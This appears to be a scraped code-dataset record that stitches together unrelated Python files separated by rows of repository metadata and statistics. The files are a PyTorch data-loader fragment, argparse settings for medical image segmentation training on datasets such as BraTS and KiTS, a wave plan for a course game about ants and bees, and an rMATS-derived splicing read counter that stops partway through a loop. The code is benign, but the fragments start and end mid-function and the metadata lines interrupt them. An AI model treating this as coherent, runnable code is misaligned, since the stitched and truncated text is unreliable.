test_loader = data_utils.DataLoader(test_set, batch_size=batch_size, \
sampler=test_sampler)
return train_loader, val_loader, test_loader
| 36.131944
| 77
| 0.684989
| 656
| 5,203
| 5.161585
| 0.097561
| 0.055818
| 0.03987
| 0.095688
| 0.888364
| 0.888364
| 0.888364
| 0.880095
| 0.880095
| 0.880095
| 0
| 0.036505
| 0.210263
| 5,203
| 143
| 78
| 36.384615
| 0.78754
| 0.002306
| 0
| 0.783333
| 0
| 0
| 0.008094
| 0
| 0
| 0
| 0
| 0
| 0.025
| 1
| 0.025
| false
| 0
| 0.05
| 0
| 0.1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4f2a72564b10f1281da77e5ea535504eb9bf85ec
| 31,122
|
py
|
Python
|
unet3d/utils/args_utils.py
|
vuhoangminh/medical-segmentation
|
4a2a663d1f2d6de5c78bc521f6ed2aa1681a8804
|
[
"MIT"
] | 1
|
2018-12-06T09:17:26.000Z
|
2018-12-06T09:17:26.000Z
|
unet3d/utils/args_utils.py
|
vuhoangminh/medical-segmentation
|
4a2a663d1f2d6de5c78bc521f6ed2aa1681a8804
|
[
"MIT"
] | null | null | null |
unet3d/utils/args_utils.py
|
vuhoangminh/medical-segmentation
|
4a2a663d1f2d6de5c78bc521f6ed2aa1681a8804
|
[
"MIT"
] | 2
|
2019-05-07T10:07:33.000Z
|
2019-05-20T12:50:37.000Z
|
import argparse
from .utils import str2bool
from brats.config import config_dict
def parent_train_parser():
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument('-o', '--overwrite', type=str2bool,
default="False")
parser.add_argument('-n', '--is_normalize', type=str,
default="z", choices=config_dict["is_normalize"],
help="what type of normalization")
parser.add_argument('-de', '--is_denoise', type=str,
default="0", choices=config_dict["is_denoise"],
help="what type of denoising")
parser.add_argument('-t', '--is_test', type=str,
default="0", choices=["0", "1"])
parser.add_argument('-hi', '--is_hist_match', type=str,
default="0")
parser.add_argument('-m', '--model', type=str,
default="unet", choices=config_dict["model"])
parser.add_argument('-du', '--depth_unet', type=int,
default=4, choices=config_dict["depth_unet"])
parser.add_argument('-nb', '--n_base_filters_unet', type=int,
default=16,
)
parser.add_argument('-crf', '--is_crf', type=str,
default="0", choices=config_dict["is_crf"],
help="crf method")
parser.add_argument('-l', '--loss', type=str,
default="weighted",
help="loss function")
parser.add_argument('-alpha_tv', '--weight_tv_to_main_loss', type=float,
default=0.1,
help="weight of total variance comapared to main loss (dice coef etc.)")
parser.add_argument('-au', '--is_augment', type=str,
default="1")
parser.add_argument('-name', '--name', type=str,
default="0")
parser.add_argument('-lr', '--learning_rate', type=float,
default=None)
parser.add_argument('-ne', '--n_epochs', type=input,
default=None)
return parser
def parent_prepare_parser():
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument('-o', '--overwrite', type=str2bool,
default="False")
parser.add_argument('-n', '--is_normalize', type=str,
default="z", choices=config_dict["is_normalize"],
help="what type of normalization")
parser.add_argument('-de', '--is_denoise', type=str,
default="0", choices=config_dict["is_denoise"],
help="what type of denoising")
parser.add_argument('-t', '--is_test', type=str,
default="1", choices=["0", "1"])
parser.add_argument('-hi', '--is_hist_match', type=str,
default="0")
return parser
def finetune():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="brats", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=int,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="160-192-128", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="128-128-128",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=1,
help="train batch size")
parser.add_argument('-dim', '--model_dim', type=int,
default=3,
help="2d, 2.5d or 3d?")
parser.add_argument('-r', '--crop', type=str,
default="1", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="1", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
args = parser.parse_args()
return args
def train():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="brats", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=int,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="160-192-128", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="128-128-128",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=1,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="1", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="1", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=3)
args = parser.parse_args()
return args
def train2d():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="brats", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=int,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="160-192-128", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="160-192-1",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=64,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="1", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="1", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=2)
args = parser.parse_args()
return args
def train25d():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="brats", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=int,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="160-192-128", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="160-192-9",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=64,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="1", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="1", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=25)
args = parser.parse_args()
return args
def prepare_data():
parent_parser = parent_prepare_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Data preparation')
parser.add_argument('-c', '--challenge', type=str,
default="brats", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="160-192-128", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-r', '--crop', type=str,
default="1")
parser.add_argument('-b', '--is_bias_correction', type=str,
default="1", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
args = parser.parse_args()
return args
def prepare_data_ibsr():
parent_parser = parent_prepare_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Data preparation')
parser.add_argument('-c', '--challenge', type=str,
default="ibsr",
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-128-256", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-r', '--crop', type=str,
default="0")
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
args = parser.parse_args()
return args
def train_ibsr():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="ibsr", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-128-256", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="128-128-128",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=1,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=3)
args = parser.parse_args()
return args
def train2d_ibsr():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="ibsr", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-128-256", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="256-128-1",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=64,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=2)
args = parser.parse_args()
return args
def train25d_ibsr():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="ibsr", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=int,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-128-256", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="256-128-9",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=64,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=25)
args = parser.parse_args()
return args
def prepare_data_kits():
parent_parser = parent_prepare_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Data preparation')
parser.add_argument('-c', '--challenge', type=str,
default="kits",
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2019, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-128",
help="image shape to read")
parser.add_argument('-r', '--crop', type=str,
default="0")
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
args = parser.parse_args()
return args
def train_kits():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="kits", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2019, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-128",
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="32-256-256",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=1,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=3)
args = parser.parse_args()
return args
def train2d_kits():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="kits", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2019, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-128",
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="256-256-1",
# default="64-256-1",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=16,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=2)
args = parser.parse_args()
return args
def train25d_kits():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="kits", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2019, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-128",
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="256-256-5",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=16,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=25)
args = parser.parse_args()
return args
def prepare_data_headneck():
parent_parser = parent_prepare_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Data preparation')
parser.add_argument('-c', '--challenge', type=str,
default="headneck",
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-64", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-r', '--crop', type=str,
default="0")
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
args = parser.parse_args()
return args
def train_headneck():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="headneck", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-64", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="128-128-64",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=1,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=3)
args = parser.parse_args()
return args
def train2d_headneck():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="headneck", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-64", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="256-256-1",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=32,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=2)
args = parser.parse_args()
return args
def train25d_headneck():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="headneck", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-64", choices=config_dict["image_shape"],
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="256-256-7",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=32,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=25)
args = parser.parse_args()
return args
def prepare_data_pros():
parent_parser = parent_prepare_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Data preparation')
parser.add_argument('-c', '--challenge', type=str,
default="prostate",
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-128",
help="image shape to read")
parser.add_argument('-r', '--crop', type=str,
default="0")
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
args = parser.parse_args()
return args
def train_pros():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="prostate", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-128",
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="256-256-32",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=1,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=3)
args = parser.parse_args()
return args
def train2d_pros():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="prostate", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-128",
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="256-256-1",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=16,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=2)
args = parser.parse_args()
return args
def train25d_pros():
parent_parser = parent_train_parser()
parser = argparse.ArgumentParser(
parents=[parent_parser], description='Finetuning')
parser.add_argument('-c', '--challenge', type=str,
default="prostate", choices=config_dict["challenge"],
help="challenge name")
parser.add_argument('-y', '--year', type=str,
default=2018, choices=config_dict["year"],
help="year of challenge")
parser.add_argument('-is', '--image_shape', type=str,
default="256-256-128",
help="image shape to read")
parser.add_argument('-ps', '--patch_shape', type=str,
default="256-256-5",
help="patch shape to train")
parser.add_argument('-ba', '--batch_size', type=int,
default=16,
help="train batch size")
parser.add_argument('-r', '--crop', type=str,
default="0", choices=config_dict["crop"])
parser.add_argument('-b', '--is_bias_correction', type=str,
default="0", choices=config_dict["is_bias_correction"],
help="perform bias field removal?")
parser.add_argument('-dim', '--model_dim', type=int,
default=25)
args = parser.parse_args()
return args
| 47.587156
| 96
| 0.535056
| 3,265
| 31,122
| 4.917611
| 0.041348
| 0.096973
| 0.183171
| 0.036435
| 0.958769
| 0.958645
| 0.95715
| 0.952105
| 0.949988
| 0.947745
| 0
| 0.024846
| 0.321059
| 31,122
| 653
| 97
| 47.660031
| 0.735021
| 0.000611
| 0
| 0.89934
| 0
| 0
| 0.210443
| 0.001447
| 0
| 0
| 0
| 0
| 0
| 1
| 0.037954
| false
| 0
| 0.004951
| 0
| 0.080858
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
4f51d48f4ac1532ee7735413b2421e7cda8ffc79
| 2,784
|
py
|
Python
|
Project/ants/ants_plans.py
|
IZUMI-Zu/CS61A
|
50b0352ab5d45e1cd3f0114a397f3bac012ba7c1
|
[
"MIT"
] | null | null | null |
Project/ants/ants_plans.py
|
IZUMI-Zu/CS61A
|
50b0352ab5d45e1cd3f0114a397f3bac012ba7c1
|
[
"MIT"
] | null | null | null |
Project/ants/ants_plans.py
|
IZUMI-Zu/CS61A
|
50b0352ab5d45e1cd3f0114a397f3bac012ba7c1
|
[
"MIT"
] | null | null | null |
import ants
from ants import AssaultPlan
def make_test_assault_plan(ants_impl=None):
ants_impl = ants_impl or ants
return AssaultPlan().add_wave(ants_impl.Bee, 3, 2, 1).add_wave(ants_impl.Bee, 3, 3, 1)
def make_easy_assault_plan(ants_impl=None):
ants_impl = ants_impl or ants_impl
plan = AssaultPlan()
for time in range(3, 16, 2):
plan.add_wave(ants_impl.Bee, 3, time, 1)
plan.add_wave(ants_impl.Wasp, 3, 4, 1)
plan.add_wave(ants_impl.NinjaBee, 3, 8, 1)
plan.add_wave(ants_impl.Hornet, 3, 12, 1)
plan.add_wave(ants_impl.Boss, 15, 16, 1)
return plan
def make_normal_assault_plan(ants_impl=None):
ants_impl = ants_impl or ants
plan = AssaultPlan()
for time in range(3, 16, 2):
plan.add_wave(ants_impl.Bee, 3, time, 2)
plan.add_wave(ants_impl.Wasp, 3, 4, 1)
plan.add_wave(ants_impl.NinjaBee, 3, 8, 1)
plan.add_wave(ants_impl.Hornet, 3, 12, 1)
plan.add_wave(ants_impl.Wasp, 3, 16, 1)
#Boss Stage
for time in range(21, 30, 2):
plan.add_wave(ants_impl.Bee, 3, time, 2)
plan.add_wave(ants_impl.Wasp, 3, 22, 2)
plan.add_wave(ants_impl.Hornet, 3, 24, 2)
plan.add_wave(ants_impl.NinjaBee, 3, 26, 2)
plan.add_wave(ants_impl.Hornet, 3, 28, 2)
plan.add_wave(ants_impl.Boss, 20, 30, 1)
return plan
def make_hard_assault_plan(ants_impl=None):
ants_impl = ants_impl or ants
plan = AssaultPlan()
for time in range(3, 16, 2):
plan.add_wave(ants_impl.Bee, 4, time, 2)
plan.add_wave(ants_impl.Hornet, 4, 4, 2)
plan.add_wave(ants_impl.Wasp, 4, 8, 2)
plan.add_wave(ants_impl.NinjaBee, 4, 12, 2)
plan.add_wave(ants_impl.Wasp, 4, 16, 2)
#Boss Stage
for time in range(21, 30, 2):
plan.add_wave(ants_impl.Bee, 4, time, 3)
plan.add_wave(ants_impl.Wasp, 4, 22, 2)
plan.add_wave(ants_impl.Hornet, 4, 24, 2)
plan.add_wave(ants_impl.NinjaBee, 4, 26, 2)
plan.add_wave(ants_impl.Hornet, 4, 28, 2)
plan.add_wave(ants_impl.Boss, 30, 30, 1)
return plan
def make_extra_hard_assault_plan(ants_impl=None):
ants_impl = ants_impl or ants
plan = AssaultPlan()
plan.add_wave(ants_impl.Hornet, 5, 2, 2)
for time in range(3, 16, 2):
plan.add_wave(ants_impl.Bee, 5, time, 2)
plan.add_wave(ants_impl.Hornet, 5, 4, 2)
plan.add_wave(ants_impl.Wasp, 5, 8, 2)
plan.add_wave(ants_impl.NinjaBee, 5, 12, 2)
plan.add_wave(ants_impl.Wasp, 5, 16, 2)
#Boss Stage
for time in range(21, 30, 2):
plan.add_wave(ants_impl.Bee, 5, time, 3)
plan.add_wave(ants_impl.Wasp, 5, 22, 2)
plan.add_wave(ants_impl.Hornet, 5, 24, 2)
plan.add_wave(ants_impl.NinjaBee, 5, 26, 2)
plan.add_wave(ants_impl.Hornet, 5, 28, 2)
plan.add_wave(ants_impl.Boss, 30, 30, 2)
return plan
| 35.692308
| 90
| 0.668103
| 518
| 2,784
| 3.370656
| 0.086873
| 0.261168
| 0.258305
| 0.352234
| 0.934135
| 0.923826
| 0.878007
| 0.861397
| 0.537228
| 0.525773
| 0
| 0.078237
| 0.201149
| 2,784
| 78
| 91
| 35.692308
| 0.706835
| 0.010776
| 0
| 0.402985
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.074627
| false
| 0
| 0.029851
| 0
| 0.179104
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4f678a716c4e561cb58e85c499656008cc6f53d9
| 67,839
|
py
|
Python
|
splicing_annotations/countSupportingReads.py
|
stevenxchen/splicing-modulators
|
579f4518859c40807271f8c7c833716f550703c4
|
[
"MIT"
] | null | null | null |
splicing_annotations/countSupportingReads.py
|
stevenxchen/splicing-modulators
|
579f4518859c40807271f8c7c833716f550703c4
|
[
"MIT"
] | null | null | null |
splicing_annotations/countSupportingReads.py
|
stevenxchen/splicing-modulators
|
579f4518859c40807271f8c7c833716f550703c4
|
[
"MIT"
] | null | null | null |
#Junction counter adapted from rMATS "process unique sam"
### import necessary libraries
import re,os,sys,logging,time,datetime,commands,argparse;
import scipy,math,pickle,pysam;
from scipy import stats;
def listToString(x):
rVal = '';
for a in x:
rVal += a+' ';
return rVal;
######### basic functions #############
#
#Input:
#insertsize_inclusion: a numerical variable for the paired-end read inclusion form insert size
#insertsize_skipping: a numerical variable for the paired-end read skipping form insert size
#insertsize_mean: a numerical variable for the mean of the insert size
#insertsize_var: a numerical variable for the variance of the insert size
#Output:
#A 2-element vector for the [fraction of the inclusion form, fraction of the skipping form]
def PE_fraction(insertsize_inclusion, insertsize_skipping, insertsize_mean, insertsize_var):
p1=stats.norm.cdf(insertsize_inclusion+0.5,insertsize_mean,math.sqrt(insertsize_var));
p1=p1-stats.norm.cdf(insertsize_inclusion-0.5,insertsize_mean,math.sqrt(insertsize_var));
p2=stats.norm.cdf(insertsize_skipping+0.5,insertsize_mean,math.sqrt(insertsize_var));
p2=p2-stats.norm.cdf(insertsize_skipping-0.5,insertsize_mean,math.sqrt(insertsize_var));
return([p1/(p1+p2),p2/(p1+p2)]);
def getInitialCounts(): ## getting initial counts for each AS event
#rValue = [[[[],[]]],[[[],[]]],[[[],[]]]]; ## count type 1, 2, and 3, Include or Skip
rValue = [[[],[]],[[],[]],[[],[]]];
rValue[CT1][I]=0;
rValue[CT1][S]=0;
rValue[CT2][I]=0;
rValue[CT2][S]=0;
rValue[CT3][I]=0;
rValue[CT3][S]=0;
return rValue;
#### end of getInitialCounts()
###############################
## SAMPLE COUNTING FUNCTIONS ##
###############################
def is_unique(r):
# check if read is uniquely mapped
for tag in r.tags:
if tag[0]=='NH': # NH is tag for number of hits
if int(tag[1])==1: # uniquely mapped if NH=1
if dataType=='single': ## single end, sufficient
return True;
elif r.is_proper_pair:
return True;
return False
#
def processSample(sample): ## call it with processSample(sample_1, S1) something like this
global anchorLength;
readCount=0;
### process the given sample ###
#for s1 in sample: ## for each sam file
# rep = sample.index(s1);
# if len(s1.strip())<1: ## incorrect split. a user might accidently put comma at the end of input sam file list
# continue; ### just skip this entry, probably the last one though
s1=sample;
sFile = pysam.Samfile(s1.strip(),'rb'); ## open bam file
e1 = {}; ## edge count here
for read in sFile.fetch():
readCount=readCount+1;
if (readCount % 1000000) == 0:
print(str(readCount)+" reads processed...");
if not is_unique(read):
continue;
rL = readLength;
chr = sFile.getrname(read.tid)
if chr[0:3]!='chr': ## X instead of chrX, add 'chr'
chr = 'chr'+chr;
mc = read.pos+1
mString = read.cigarstring
#rID = read.qname
group = mc/chunk; ## group does not change, it's okay to check only one group for a junction read
## if showMe: print 'mc:'+ str(group);
if 'D' in mString or 'I' in mString or 'S' in mString or 'H' in mString or 'P' in mString or 'X' in mString or '=' in mString: ## skip
continue; ## go to next line
### check to see if the line is either exonic read or junction read
split_mString = mString.split('M');
tor = 0; ## type of read, 0 nothing, 1 exonic read, 2 junction read
if len(split_mString)==2:
tor = 1; ############ exonic read ######
rL = int(split_mString[0]); ## read length specified in this mapping string
mec = mc+rL-1; ## mapping end coord
egroup = mec/chunk; ## group for the mapping end coord of genomic reads
if rL != readLength:
continue
## SE ###
if chr in se: ## this chromosome has se event(s)
if group in se[chr]: ## this group has skipped exon event(s)
for c in se[chr][group]: ## for each skipped exon event in this group
if (mc>se[chr][group][c][0] and mec<=se[chr][group][c][1]): ## read on the target
c_se[c][CT2][I]+=1;
### end of SE ###
### MXE ####
if chr in mxe: ## this chromosome has mxe event(s)
if group in mxe[chr]: ## this group has mxe event(s)
for c in mxe[chr][group]: ## for each mxe event in this group
if (mc>mxe[chr][group][c][0] and mec<=mxe[chr][group][c][1]): ## read on the target exon
c_mxe[c][CT2][I]+=1;
elif (mc>mxe[chr][group][c][2] and mec<=mxe[chr][group][c][3]): ## read on the second exon
c_mxe[c][CT2][S]+=1;
## end of MXE ###
